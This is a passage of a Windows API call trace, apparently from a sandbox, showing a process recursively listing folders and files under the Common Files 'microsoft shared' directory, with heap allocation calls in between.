ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0276.468] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.468] GetProcessHeap () returned 0xaf0000 [0276.468] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36ba298 | out: hHeap=0xaf0000) returned 1 [0276.469] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0276.469] GetProcessHeap () returned 0xaf0000 [0276.469] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36ba298 [0276.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.715] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.715] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0276.715] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.715] GetProcessHeap () returned 0xaf0000 [0276.715] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36ba298 | out: hHeap=0xaf0000) returned 1 [0276.716] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0276.716] GetProcessHeap () returned 0xaf0000 [0276.716] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.717] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.717] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0276.717] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0276.717] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.717] GetProcessHeap () returned 0xaf0000 [0276.717] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.717] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0276.717] GetProcessHeap () returned 0xaf0000 [0276.717] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.718] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.718] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0276.718] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0276.718] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0276.718] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0276.718] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0276.718] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0276.718] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0276.718] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0276.719] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0276.719] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0276.719] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0276.719] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0276.719] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0276.719] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0276.719] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0276.719] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0276.719] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0276.720] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0276.720] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0276.720] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0276.720] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0276.720] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0276.720] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.720] GetProcessHeap () returned 0xaf0000 [0276.720] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.720] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="TextConv", cAlternateFileName="")) returned 1 [0276.720] GetProcessHeap () returned 0xaf0000 [0276.720] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.721] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.721] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0276.721] GetProcessHeap () returned 0xaf0000 [0276.721] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a9288 [0276.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.721] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.722] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0276.722] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0276.722] GetProcessHeap () returned 0xaf0000 [0276.722] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a9288 | out: hHeap=0xaf0000) returned 1 [0276.722] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0276.722] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.722] GetProcessHeap () returned 0xaf0000 [0276.722] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.722] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, 